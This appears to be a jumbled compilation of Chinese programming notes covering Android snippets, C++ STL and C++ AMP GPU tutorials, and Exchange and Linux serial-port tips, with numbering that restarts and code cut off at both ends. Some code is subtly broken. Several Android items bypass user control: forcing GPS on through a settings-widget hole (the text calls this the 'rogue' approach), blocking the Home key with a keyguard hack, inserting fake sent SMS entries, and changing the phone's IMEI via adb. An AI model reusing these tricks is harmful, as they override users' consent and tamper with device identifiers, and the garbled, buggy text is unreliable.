std::cout << ss[i].name << ss[i].score << "\n"; } cin.get(); }
1.android dp和px之间转换 public class DensityUtil { /** * 根据手机的分辨率从 dip 的单位 转成为 px(像素) */ public static int dip2px(Context context, float dpValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) (dpValue * scale + 0.5f); } /** * 根据手机的分辨率从 px(像素) 的单位 转成为 dp */ public static int px2dip(Context context, float pxValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) (pxValue / scale + 0.5f); } } 2.android 对话框样式 <style name="MyDialog" parent="@android:Theme.Dialog"> <item name="android:windowNoTitle">true</item> <item name="android:windowBackground">@color/ha</item> </style> 3.android 根据uri获取路径 Uri uri = data.getData(); String[] proj = { MediaStore.Images.Media.DATA }; Cursor actualimagecursor = managedQuery(uri,proj,null,null,null); int actual_image_column_index = actualimagecursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA); actualimagecursor.moveToFirst(); String img_path = actualimagecursor.getString(actual_image_column_index); File file = new File(img_path); 4.android 根据uri获取真实路径 public static String getRealFilePath( final Context context, final Uri uri ) { if ( null == uri ) return null; final String scheme = uri.getScheme(); String data = null; if ( scheme == null ) data = uri.getPath(); else if ( ContentResolver.SCHEME_FILE.equals( scheme ) ) { data = uri.getPath(); } else if ( ContentResolver.SCHEME_CONTENT.equals( scheme ) ) { Cursor cursor = context.getContentResolver().query( uri, new String[] { ImageColumns.DATA }, null, null, null ); if ( null != cursor ) { if ( cursor.moveToFirst() ) { int index = cursor.getColumnIndex( ImageColumns.DATA ); if ( index > -1 ) { data = cursor.getString( index ); } } cursor.close(); } } return data; } 5.android 还原短信 ContentValues values = new ContentValues(); values.put("address", "123456789"); values.put("body", "haha"); values.put("date", "135123000000"); getContentResolver().insert(Uri.parse("content://sms/sent"), values); 6.android 横竖屏切换 < activity android:name="MyActivity" android:configChanges="orientation|keyboardHidden"> public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); if (this.getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) { //加入横屏要处理的代码 }else if (this.getResources().getConfiguration().orientation == Configuration.ORIENTATION_PORTRAIT) { //加入竖屏要处理的代码 } } 7.android 获取mac地址 1、<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> 2、private String getLocalMacAddress() { WifiManager wifi = (WifiManager) getSystemService(Context.WIFI_SERVICE); WifiInfo info = wifi.getConnectionInfo(); return info.getMacAddress(); } 8.android 获取sd卡状态 /** 获取存储卡路径 */ File sdcardDir=Environment.getExternalStorageDirectory(); /** StatFs 看文件系统空间使用情况 */ StatFs statFs=new StatFs(sdcardDir.getPath()); /** Block 的 size*/ Long blockSize=statFs.getBlockSize(); /** 总 Block 数量 */ Long totalBlocks=statFs.getBlockCount(); /** 已使用的 Block 数量 */ Long availableBlocks=statFs.getAvailableBlocks(); 9.android 获取标题栏状态栏高度 Android获取状态栏和标题栏的高度 1.Android获取状态栏高度: decorView是window中的最顶层view,可以从window中获取到decorView,然后decorView有个getWindowVisibleDisplayFrame方法可以获取到程序显示的区域,包括标题栏,但不包括状态栏。 于是,我们就可以算出状态栏的高度了。 Rect frame = new Rect(); getWindow().getDecorView().getWindowVisibleDisplayFrame(frame); int statusBarHeight = frame.top; 2.获取标题栏高度: getWindow().findViewById(Window.ID_ANDROID_CONTENT)这个方法获取到的view就是程序不包括标题栏的部分,然后就可以知道标题栏的高度了。 int contentTop = getWindow().findViewById(Window.ID_ANDROID_CONTENT).getTop(); //statusBarHeight是上面所求的状态栏的高度 int titleBarHeight = contentTop - statusBarHeight 例子代码: package com.cn.lhq; import android.app.Activity; import android.graphics.Rect; import android.os.Bundle; import android.util.Log; import android.view.Window; import android.widget.ImageView; public class Main extends Activity { ImageView iv; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); iv = (ImageView) this.findViewById(R.id.ImageView01); iv.post(new Runnable() { public void run() { viewInited(); } }); Log.v("test", "== ok =="); } private void viewInited() { Rect rect = new Rect(); Window window = getWindow(); iv.getWindowVisibleDisplayFrame(rect); int statusBarHeight = rect.top; int contentViewTop = window.findViewById(Window.ID_ANDROID_CONTENT) .getTop(); int titleBarHeight = contentViewTop - statusBarHeight; // 测试结果:ok之后 100多 ms 才运行了 Log.v("test", "=-init-= statusBarHeight=" + statusBarHeight + " contentViewTop=" + contentViewTop + " titleBarHeight=" + titleBarHeight); } } <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent"> <ImageView android:id="@+id/ImageView01" android:layout_width="wrap_content" android:layout_height="wrap_content"/> </LinearLayout> 10.android 获取各种窗体高度 //取得窗口属性 getWindowManager().getDefaultDisplay().getMetrics(dm); //窗口的宽度 int screenWidth = dm.widthPixels; //窗口高度 int screenHeight = dm.heightPixels; textView = (TextView)findViewById(R.id.textView01); textView.setText("屏幕宽度: " + screenWidth + "\n屏幕高度: " + screenHeight); 二、获取状态栏高度 decorView是window中的最顶层view,可以从window中获取到decorView,然后decorView有个getWindowVisibleDisplayFrame方法可以获取到程序显示的区域,包括标题栏,但不包括状态栏。 于是,我们就可以算出状态栏的高度了。 view plain Rect frame = new Rect(); getWindow().getDecorView().getWindowVisibleDisplayFrame(frame); int statusBarHeight = frame.top; 三、获取标题栏高度 getWindow().findViewById(Window.ID_ANDROID_CONTENT)这个方法获取到的view就是程序不包括标题栏的部分,然后就可以知道标题栏的高度了。 view plain int contentTop = getWindow().findViewById(Window.ID_ANDROID_CONTENT).getTop(); //statusBarHeight是上面所求的状态栏的高度 int titleBarHeight = contentTop - statusBarHeight 11.android 禁用home键盘 问题的提出 Android Home键系统负责监听,捕获后系统自动处理。有时候,系统的处理往往不随我们意,想自己处理点击Home后的事件,那怎么办? 问题的解决 先禁止Home键,再在onKeyDown里处理按键值,点击Home键的时候就把程序关闭,或者随你XXOO。 @Override public boolean onKeyDown(int keyCode, KeyEvent event) { // TODO Auto-generated method stub if(KeyEvent.KEYCODE_HOME==keyCode) android.os.Process.killProcess(android.os.Process.myPid()); return super.onKeyDown(keyCode, event); } @Override public void onAttachedToWindow() { // TODO Auto-generated method stub this.getWindow().setType(WindowManager.LayoutParams.TYPE_KEYGUARD); super.onAttachedToWindow(); } 加权限禁止Home键 <uses-permission android:name="android.permission.DISABLE_KEYGUARD"></uses-permission> 12.android 开机启动 public class StartupReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent startupintent = new Intent(context,StrongTracks.class); startupintent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(startupintent); } } 2)<receiver android:name=".StartupReceiver"> <intent-filter> <!-- 系统启动完成后会调用 --> <action android:name="android.intent.action.BOOT_COMPLETED"> </action> </intent-filter> </receiver> 13.android 控制对话框位置 window =dialog.getWindow();// 得到对话框的窗口. WindowManager.LayoutParams wl = window.getAttributes(); wl.x = x;//这两句设置了对话框的位置.0为中间 wl.y =y; wl.width =w; wl.height =h; wl.alpha =0.6f;// 这句设置了对话框的透明度 14.android 挪动dialog的位置 Window mWindow = dialog.getWindow(); WindowManager.LayoutParams lp = mWindow.getAttributes(); lp.x = 10; //新位置X坐标 lp.y = -100; //新位置Y坐标 dialog.onWindowAttributesChanged(lp); 15.android 判断网络状态 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> private boolean getNetWorkStatus() { boolean netSataus = false; ConnectivityManager cwjManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); cwjManager.getActiveNetworkInfo(); if (cwjManager.getActiveNetworkInfo() != null) { netSataus = cwjManager.getActiveNetworkInfo().isAvailable(); } if (!netSataus) { Builder b = new AlertDialog.Builder(this).setTitle("没有可用的网络") .setMessage("是否对网络进行设置?"); b.setPositiveButton("是", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { Intent mIntent = new Intent("/"); ComponentName comp = new ComponentName( "com.android.settings", "com.android.settings.WirelessSettings"); mIntent.setComponent(comp); mIntent.setAction("android.intent.action.VIEW"); startActivityForResult(mIntent,0); } }).setNeutralButton("否", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { dialog.cancel(); } }).show(); } return netSataus; } 16.android 设置apn ContentValues values = new ContentValues(); values.put(NAME, "CMCC cmwap"); values.put(APN, "cmwap"); values.put(PROXY, "10.0.0.172"); values.put(PORT, "80"); values.put(MMSPROXY, ""); values.put(MMSPORT, ""); values.put(USER, ""); values.put(SERVER, ""); values.put(PASSWORD, ""); values.put(MMSC, ""); values.put(TYPE, ""); values.put(MCC, "460"); values.put(MNC, "00"); values.put(NUMERIC, "46000"); reURI = getContentResolver().insert(Uri.parse("content://telephony/carriers"), values); //首选接入点"content://telephony/carriers/preferapn" 17.android 调节屏幕亮度 public void setBrightness(int level) { ContentResolver cr = getContentResolver(); Settings.System.putInt(cr, "screen_brightness", level); Window window = getWindow(); LayoutParams attributes = window.getAttributes(); float flevel = level; attributes.screenBrightness = flevel / 255; getWindow().setAttributes(attributes); } 18.android 重启 第一,root权限,这是必须的 第二,Runtime.getRuntime().exec("su -c reboot"); 第三,模拟器上运行不出来,必须真机 第四,运行时会提示你是否加入列表 , 同意就好 19.android 资源uri android.resource://com.packagename/raw/xxxx 20.android隐藏软键盘 setContentView(R.layout.activity_main); getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE | WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN); 21.android隐藏以及显示软键盘以及不自动弹出键盘的方法 1、//隐藏软键盘 ((InputMethodManager)getSystemService(INPUT_METHOD_SERVICE)).hideSoftInputFromWindow(WidgetSearchActivity.this.getCurrentFocus().getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS); 2、//显示软键盘,控件ID可以是EditText,TextView ((InputMethodManager)getSystemService(INPUT_METHOD_SERVICE)).showSoftInput(控件ID, 0); 22.BitMap、Drawable、inputStream及byte[] 互转 (1) BitMap to inputStream: ByteArrayOutputStream baos = new ByteArrayOutputStream(); bm.compress(Bitmap.CompressFormat.PNG, 100, baos); InputStream isBm = new ByteArrayInputStream(baos .toByteArray()); (2)BitMap to byte[]: Bitmap defaultIcon = BitmapFactory.decodeStream(in); ByteArrayOutputStream stream = new ByteArrayOutputStream(); defaultIcon.compress(Bitmap.CompressFormat.JPEG, 100, stream); byte[] bitmapdata = stream.toByteArray(); (3)Drawable to byte[]: Drawable d; // the drawable (Captain Obvious, to the rescue!!!) Bitmap bitmap = ((BitmapDrawable)d).getBitmap(); ByteArrayOutputStream stream = new ByteArrayOutputStream(); defaultIcon.compress(Bitmap.CompressFormat.JPEG, 100, bitmap); byte[] bitmapdata = stream.toByteArray(); (4)byte[] to Bitmap : Bitmap bitmap =BitmapFactory.decodeByteArray(byte[], 0,byte[].length); 23.发送指令 out = process.getOutputStream(); out.write(("am start -a android.intent.action.VIEW -n com.android.browser/com.android.browser.BrowserActivity\n").getBytes()); out.flush(); InputStream in = process.getInputStream(); BufferedReader re = new BufferedReader(new InputStreamReader(in)); String line = null; while((line = re.readLine()) != null) { Log.d("conio","[result]"+line); } 24.Android判断GPS是否开启和强制帮用户打开GPS http://blog.csdn.net/android_ls/article/details/8605931 引子:在我们的应用为用户提供定位服务时,通常想为用户提供精确点的定位服务,这是需要用户配合的。我们必须先检测用户手机的GPS当前是否打开,若没打开则弹出对话框提示。用户若不配合我们也没办法,只能采用基站定位方式。如果我们的应用必须用户打开GPS才可使用,这时流氓一点的做法,就是强制帮用户打开GPS。 阐明概念: 定位服务GPS:全球卫星定位系统,使用24个人造卫星所形成的网络来三角定位接受器的位置,并提供经纬度坐标。虽然GPS提供绝佳的位置的精确度,但定位的位置需要在可看见人造卫星或轨道所经过的地方。 定位服务AGPS:辅助全球卫星定位系统(英语:Assisted Global Positioning System,简称:AGPS)是一种GPS的运行方式。它可以利用手机基地站的资讯,配合传统GPS卫星,让定位的速度更快。用中文来说应该是网络辅助GPS定位系统。通俗的说AGPS是在以往通过卫星接受定位信号的同时结合移动运营的GSM或者CDMA网络机站的定位信息,就是一方面由具有AGPS的手机获取来自卫星的定位信息,而同时也要靠该手机透过中国移动的GPRS网络下载辅助的定位信息,两者相结合来完成定位。与传统GPS(GlobalPositioningSystem全球定位系统)首次定位要2、3分钟相比AGPS的首次定位时间最快仅需几秒钟,同时AGPS也彻底解决了普通GPS设备在室内无法获取定位信息的缺陷。 一、检测用户手机的GPS当前是否打开,,代码如下: [java] view plaincopy /** * 判断GPS是否开启,GPS或者AGPS开启一个就认为是开启的 * @param context * @return true 表示开启 */ public static final boolean isOPen(final Context context) { LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); // 通过GPS卫星定位,定位级别可以精确到街(通过24颗卫星定位,在室外和空旷的地方定位准确、速度快) boolean gps = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER); // 通过WLAN或移动网络(3G/2G)确定的位置(也称作AGPS,辅助GPS定位。主要用于在室内或遮盖物(建筑群或茂密的深林等)密集的地方定位) boolean network = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER); if (gps || network) { return true; } return false; } 二、强制帮用户打开GPS,代码如下: [java] view plaincopy /** * 强制帮用户打开GPS * @param context */ public static final void openGPS(Context context) { Intent GPSIntent = new Intent(); GPSIntent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); GPSIntent.addCategory("android.intent.category.ALTERNATIVE"); GPSIntent.setData(Uri.parse("custom:3")); try { PendingIntent.getBroadcast(context, 0, GPSIntent, 0).send(); } catch (CanceledException e) { e.printStackTrace(); } } 三、在AndroidManifest.xml文件里需要添加的权限: [html] view plaincopy <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name="android.permission.INTERNET" />
位容器multimapmutisetString Multiset #include <set> #include <iostream> using namespace std; void mainA() { multiset<int> myset; myset.insert(100); myset.insert(101); myset.insert(100); myset.insert(103); myset.insert(100); auto pfind = myset.find(101); std::cout << *pfind << std::endl; auto allfind = myset.equal_range(100); //找到红黑树的链表节点,遍历所有的元素 //find链表的头结点,second最后一个空节点,遍历所有的元素 for (auto it = allfind.first; it != allfind.second;it++) { cout << *it << endl; } cin.get(); } Multimap #include <iostream> #include <map> #include <string> using namespace std; void main2() { multimap<string, string> mymap; mymap.insert(pair<string, string>("yincheng", "a")); mymap.insert(pair<string, string>("yincheng1", "b")); mymap.insert(pair<string, string>("yincheng", "c")); mymap.insert(pair<string, string>("yincheng", "d")); auto ib = mymap.begin(); auto ie = mymap.end(); for (;ib!=ie;ib++) { cout << (*ib).first << " "<<(*ib).second << endl; } auto pfind = mymap.find("yincheng"); cout << "\n\n\n"; cout << (*pfind).first << " " << (*pfind).second<< endl; cout << "\n\n\n"; auto it = mymap.equal_range("yincheng");//从树节点吧关键字相同的链表全部拔下 //first起点,,secondl链表最后的节点后面一个空节点,都是迭代器 for (auto i = it.first; i != it.second;i++) { cout << (*i).first << " " << (*i).second << endl; } cin.get(); cin.get(); } Bitset #include <set> #include <bitset> #include <iostream> #include<string> using namespace std; void main3X() { //8 位, (215)代表构造的数据 bitset<8>bs(215); for (int i = 0; i < 8;i++)//最高位存储i=7上 { cout << bs[i]; } cin.get(); cin.get(); } void main3Y() { //8 位, (215)代表构造的数据 bitset<8>bs(215); for (int i = 7; i >=0; i--) { cout << bs[i] << " " << ~bs[i] << endl; } cin.get(); cin.get(); } void main3Z() { float num = 1231231236.8; bitset<32> myset(num); for (int i = 31; i >=0;i--) { cout << myset[i]; } cin.get(); } void main3S() { int num =-5; bitset<32> myset(num); for (int i = 31; i >= 0; i--) { cout << myset[i]; } string str = myset.to_string(); cout <<"\n" <<str << endl; unsigned int data; data = myset.to_ulong();//补码 cout << "\n" << data<< endl; cin.get(); } void main345() { bitset<8>bs(255); bs.set(7, 0);//操作二进制位 bs.set(0, 0); cout << bs.size() << endl;//位数 //bs.reset();//全部清零 //bs.none();//测试下是否有越位 for (int i = 7; i >=0; i--)//最高位存储i=7上 { cout << bs[i]; } cin.get(); } String容器 #include<string> #include <iostream> #include <stdlib.h> using namespace std; //字符串初始化 void main1s() { char str[124] = "china is big"; //str = "12321";C写法 //string str1(str); //str1 = "china is great"; string str1("ABCDEFG"); str1 = "china is china"; std::cout << str1; cin.get(); } void main2s() { string str1("ABCD"); string str2("1234"); string str3 = str1 + str2; std::cout << str3; char stra[12]="1231"; char strb[24]="2132"; //char strc[36] = stra + strb; cin.get(); } void main3s() { string str1("ABCD"); string str2("1234"); str1.append(str2); str1 += str2;//字符串的增加 std::cout << str1; cin.get(); } void main4s() { string str1("ABCD"); string str2("1234"); //任意位置插入字符 str1.insert(str1.begin(),'X'); str1.insert(str1.end(), 'X'); str1.insert(str1.begin()+3,3, 'X'); std::cout << str1; cin.get(); } void main5s() { string str1("12345678"); auto ib = str1.begin(); auto ie = str1.end(); for (;ib!=ie;ib++) { cout << *ib << endl; } //str1.erase(str1.begin());//删除一个字符 //str1.erase(str1.begin()+3,str1.end()-2);//删除某个字符串 str1.erase(3, 4);//c从第三个字符开始删除四个字符 cout << str1 << endl; cin.get(); } void main6s() { string str1("12345678china"); str1.replace(5, 3, "china");//从0到第三个字符替换为china //replace,1位置,长度,字符串 cout << str1 << endl; cin.get(); } void mainA1() { string str("233锄禾日当午,谭胜把地雷买下土,谭胜来跳舞,炸成250"); //cout << (int)str.find("谭胜大爷") << endl; //int pos = str.find(",");//找到第一个皮配的,不匹配返回-1, //int pos = str.rfind("谭胜");//找到第一个皮配的,不匹配返回-1, //int pos = str.find("谭胜"); cin.get(); } void mainA2() { string str("ab123mn"); //int pos = str.find_first_of("123"); //find_firstof是第一个找到与字符串皮配字符位置 //int pos = str.find_first_not_of("abc"); //find_firstof是第一个找到与字符串不皮配字符位置 //int pos = str.find_last_of("123"); //find_firstof是最后一个找到与字符串皮配字符位置 int pos = str.find_last_not_of("123"); cout << pos << endl; cin.get(); } void main1234() { string str1 = "calc"; string str2 = "ABC1"; char strA[5] = "Asd"; char strB[5] = "Asd"; cout <<( str1 == str2) << endl;//重载了运算符 cout << (strA == strB) << endl;//比较地址 cout << str1.empty()<<endl;////是否为空 const char *p = str1.c_str(); system(p); cin.get(); } void main() { //谭胜 是 流氓 string str("abc is abc china is china"); //int pos = str.find('a', 0);//字符也一样 //std::cout << pos << endl; //pos = str.find('a', pos+1); //std::cout << pos << endl; int pos = str.find("abc", 0);//find从指定位置查找 std::cout << pos << endl; pos = str.find("abc", pos+3); std::cout << pos << endl; cin.get(); } 算法函数兰不达表达式以及类重载 #include <iostream> #include <vector> #include <algorithm> #include <functional> using namespace std; template<class T> //模板类,实现对于某些容器元素的操作 class add { public: void operator()( T &t)//重载()运算符,进行操作 { t *= 2; std::cout << t<<"\n"; } }; void go(int a) { a *= 2; std::cout << a << "\n"; } void main() { vector<int> myv; myv.push_back(10); myv.push_back(9); myv.push_back(7); myv.push_back(9); add<int> addA;//省略, //for_each(myv.begin(), myv.end(), addA); //for_each(myv.begin(), myv.end(), add<int>()); //for_each(myv.begin(), myv.end(), go); auto fun = [](int a, int b){ return a + b; };//Lanmba表达式 auto funA = [](int a){a *= 2; cout << a << endl; }; cout << fun(1, 2) << endl; for_each(myv.begin(), myv.end(), funA); for_each(myv.begin(), myv.end(), [](int a){a *= 2; cout << a << endl; }); cin.get(); } GPU编程 比特币挖矿,经常使用gpu进行计算。 Helloworld //win7 无法对gpu进行直接的调试 #include <amp.h>//gpu计算 #include <iostream> using namespace concurrency; using namespace std; void main() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; array_view<int> av(10,a);//GPU计算结构,av存储到GPU显存,根据数组初始化 //=直接操作AV,(index<1>idx)操作每一个元素 //extent每一个元素 //restrict (amp) 定位GPU执行 parallel_for_each(av.extent, [=](index<1>idx) restrict (amp) { av[idx] += 123; }); for (int i = 0; i < 10;i++) { std::cout << av[i] << endl; } cin.get(); } Gpu调试,需要进行如下的设置 单点测试 #include <iostream> #include <amp.h> #include <WinBase.h>//操作系统的底层文件,测试时间 #define COUNT 100000 float nickName_GPU[COUNT]; float nickName_CPU[COUNT]; double rungpu(int num) restrict(amp)//限定了只能在GPU内部执行 { double temp = 0; for (int i = 0; i < num; i++) { temp += i; } return temp; } double runcpu(int num) restrict(cpu) //只能在CPU内部执行 { double temp = 0; for (int i = 0; i < num; i++) { temp += i; } return temp; } double runcpugpu(int num) restrict(amp, cpu)//并发执行 { double temp = 0; for (int i = 0; i < num; i++) { temp += i; } return temp; } int main() { LARGE_INTEGER freq; LARGE_INTEGER strt; LARGE_INTEGER ed;//统计时间, 可以精确到毫秒 QueryPerformanceFrequency(&freq); QueryPerformanceCounter(&strt);//查询时间 double dx[1] = { 0.0 };//数据, 一个元素的数组 double db = 0.0; concurrency::array_view<double> myview(1, dx);//转到gpu进行计算 parallel_for_each(myview.extent, [=](concurrency::index<1> idx) restrict(amp) { myview[idx] += rungpu(20000000); }); myview.synchronize();//显式等待GPU计算完成并将数据打回内存 printf("%f\n", dx[0]); QueryPerformanceCounter(&ed);//把每一毫秒全到精确的显示出来 printf("GPU耗时: %d 毫秒\r\n", (ed.QuadPart - strt.QuadPart) * 1000 / freq.QuadPart); QueryPerformanceCounter(&strt); printf("%f\n", runcpu(20000000)); QueryPerformanceCounter(&ed); printf("CPU耗时: %d 毫秒\r\n", (ed.QuadPart - strt.QuadPart) * 1000 / freq.QuadPart); puts("测试结束"); getchar(); return 0; } int mainW(void)//测试并行计算 { LARGE_INTEGER freq; LARGE_INTEGER strt; LARGE_INTEGER ed; QueryPerformanceFrequency(&freq); QueryPerformanceCounter(&strt); concurrency::array_view<float> myView(COUNT, nickName_GPU); //将数据打入显存 ,100000个元素的数组 concurrency::parallel_for_each(myView.extent, [=](concurrency::index<1> idx) restrict(amp) { for (int i = 0; i < COUNT/10; i++) { myView[idx] = (myView[idx] + 0.1f) / 2.3f; } }); myView.synchronize();//显式等待GPU计算完成并将数据打回内存 QueryPerformanceCounter(&ed); printf("GPU耗时: %d 毫秒\r\n", (ed.QuadPart - strt.QuadPart) * 1000 / freq.QuadPart); QueryPerformanceCounter(&strt); for (int idx = 0; idx < COUNT; idx++) { for (int i = 0; i < COUNT/10; i++) { nickName_CPU[idx] = (nickName_CPU[idx] + 0.1f) / 2.3f; } } QueryPerformanceCounter(&ed); printf("CPU耗时: %d 毫秒\r\n", (ed.QuadPart - strt.QuadPart) * 1000 / freq.QuadPart); for (int idx = 0; idx < COUNT; idx++) { if (nickName_CPU[idx] != nickName_GPU[idx]) { puts("CPU和GPU的计算结果不相符!"); getchar(); return 0; } } puts("测试结束"); getchar(); return 0; } Cpu的频率快与gpu,适合于单点计算,但是gpu的容器比较多,适合并行计算。 Cpu优势在于单点计算。围绕一个计算器,只计算一个数,计算速度最快。 Gpu优势:并发计算。Gpu加速程序,
21.exchange企业邮箱 Exchange Server 2010 SP2 高可用性(六)---配置OWA 具体的图片教程可以参考:http://blog.sina.com.cn/s/blog_60a4fcef010197db.html 最终只要将域名,指向邮件服务器即可。 基础扫盲:一个IP可以多域名。一个域名不可以多IP。如果需要多ip的话,设置为二级域名。一个IP地址带表一台主机,如果一个域名对应多个IP地址,那么输入网址的时候域名不知道该指向哪台主机.相反如果一个主机的IP地址对应多个域名的话,不管你输入哪个网址,指向的都是同一台主机,显示的都是同样的内容. 22.Linux串口接收0x03等特殊字符的问题 近日在写一个linux的串口程序,发现大多数情况下数据接收没问题,但是有时却有问题。主要是接收的字符串中包含有0x03这个字符,会造成与它相邻的字符同时也接收不到,搞了好久才发现这个错误。查找资料后发现许多ARM板也存着这个问题,存在问题的字符串还包括0x13、0x0D等特殊含义的字符。 解决方法 方法比较简单,在接收数据前,对串口的文件描述符fd进行如下设置, struct termios options; if ( tcgetattr( fd,&options) != 0) { perror("SetupSerial 1"); return(FALSE); } options.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); options.c_oflag &= ~OPOST; options.c_cflag |= CLOCAL | CREAD; options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); tcsetattr(fd,TCSAFLUSH,&options); http://blog.csdn.net/yangbingzhou/article/details/39520297 23.修改手机串号 http://tieba.baidu.com/p/2925634964?qq-pf-to=pcqq.c2c 1.配合手机上的RE软件,修改权限, 2.1修改开机动画: adb push bootanimation.zip /system/media/ 2.2修改手机串号: adb push MP0B_001/data/nvram/md/NVRAM/NVD_IMEI/
STL入门与简介 #include<iostream> #include <vector>//容器 #include<array>//数组 #include <algorithm>//算法 using namespace std; //实现一个类模板,专门实现打印的功能 template<class T> //类模板实现了方法 class myvectorprint { public: void operator ()(const T &t)//重载,使用(),打印 { std::cout << t << std::endl; } }; void main() { vector<int> myvector; myvector.push_back(11); myvector.push_back(21); myvector.push_back(31); myvector.push_back(81); myvector.push_back(51); array<int, 10> myarray = { 10, 9, 8, 7, 6, 5, 4, 3, 2, 1 }; myvectorprint<int >print;//对于打印进行实例化 //begin,endl迭代器,是一个指针 for_each (myvector.begin(), myvector.end(),print); for_each(myarray.begin(), myarray.end(), print); cin.get(); //算法可以适用于任何容器,for_each是一个算法 } STL容器概念 数组线性容器 #include<iostream> #include<vector> #include <array> #include <tuple> using namespace std; void main1() { array<int, 5>myarray = { 1, 2, 3, 4, 5 }; //数组,静态数组,栈上 vector <int >myvetor; myvetor.push_back(1); //动态数组,堆上, //不需要变长,容量较小,array //需要变长,容量较大,vetor } 链式容器 #include<iostream> #include <hash_set> #include <list> #include<stdio.h> //list适用于经常插入,经常删除 using namespace std; void main() { list<int> mylist; mylist.push_back(1); mylist.push_back(2); mylist.push_back(3); mylist.push_back(4); //mylist[1]; auto ibegin = mylist.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist.end(); //list用迭代器进行遍历 for (;ibegin!=iend;ibegin++) { cout << *ibegin << endl; printf("%p,%p\n", ibegin._Ptr,ibegin);//重载 } cin.get(); } //list删除 void main3() { list<int> mylist; mylist.push_back(1); mylist.push_back(2); mylist.push_back(3); mylist.push_back(4); mylist.push_back(5); //auto i = mylist.begin();//删除元素,依赖于迭代器, //++i; //++i; //++i; auto i = mylist.end();//end最后一个没有实体, // i--; mylist.erase(i);//链式存储,不允许下标访问 //只能用迭代器,链表迭代器只能用++,-- //mylist.clear();清空 auto ibegin = mylist.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist.end(); for (; ibegin != iend; ibegin++) { if ((*ibegin) == 3) { mylist.erase(ibegin);//删除,删除的时候迭代器会发生 break; } //cout << *ibegin << endl; } { auto ibegin = mylist.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist.end(); for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; } } cin.get(); } void main4() { int a[5] = { 1, 2, 3, 4, 5 }; list<int > mylist(a, a + 5);//根据数组初始化, //传递开始地址,传递结束地址 // mylist(0); //mylist[1];只能用迭代器访问 mylist.push_back(10); mylist.push_front(12); auto ibegin = mylist.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist.end(); for (; ibegin != iend; ibegin++) { if (*ibegin==3) { mylist.insert(ibegin ,30); break;//删除或者插入,迭代器都会发生变化 } } mylist.remove(30);//直接一个函数,根据元素来删除 { auto ibegin = mylist.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist.end(); for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; } } cin.get(); } void main5() { int a[5] = { 1, 2, 3, 4, 5 }; list<int > mylist(a, a + 5);//根据数组初始化, auto rb = mylist.rbegin(); auto re = mylist.rend(); //同时正向与方向查找 for (;rb != re; rb++) { cout << *rb << endl; } cin.get(); } void main6() { int a[5] = { 1, 2, 3, 104, 5 }; list<int > mylist1(a, a + 5);//根据数组初始化, int b[5] = { 11, 122,33, 44, 55 }; list<int > mylist2(b, b + 5);//根据数组初始化, mylist1.sort(); mylist2.sort();//排序 mylist1.merge(mylist2);//合并之前必须有序 { auto ibegin = mylist1.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist1.end(); for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; } } cout << "\n\n\n"; { auto ibegin = mylist2.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist2.end(); for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; } } cin.get(); } void main7() { int a[6] = { 1, 2,98, 2, 5, 98 }; list<int > mylist1(a, a + 6);//根据数组初始化, { auto ibegin = mylist1.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist1.end(); for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; } } mylist1.sort(); mylist1.unique();//唯一依赖于排序 cout << "\n\n\n"; { auto ibegin = mylist1.begin();//指针,指向一个迭代器,迭代器存储了位置 auto iend = mylist1.end(); for (; ibegin != iend; ibegin++) { cout << *ibegin << endl; } } cin.get(); } 红黑树容器 #include<iostream> #include <set> using namespace std; void main1231() { set<int>myset; myset.insert(10); myset.insert(9); myset.insert(8); myset.insert(7); myset.insert(5); myset.insert(6); myset.insert(7); //myset.insert(7);重复会被舍弃 auto findpos = myset.find(10); cout << " find ->" << *findpos << " \n"; auto ib = myset.begin(); auto ie = myset.end(); for (;ib!=ie;ib++) { cout << *ib << " "; } std::cout << "\n"<<myset.size() << endl; cin.get(); } 容器迭代器仿函数算法STL概念例子 算法的概念 #include <algorithm> #include <iostream> using namespace std; struct print { void 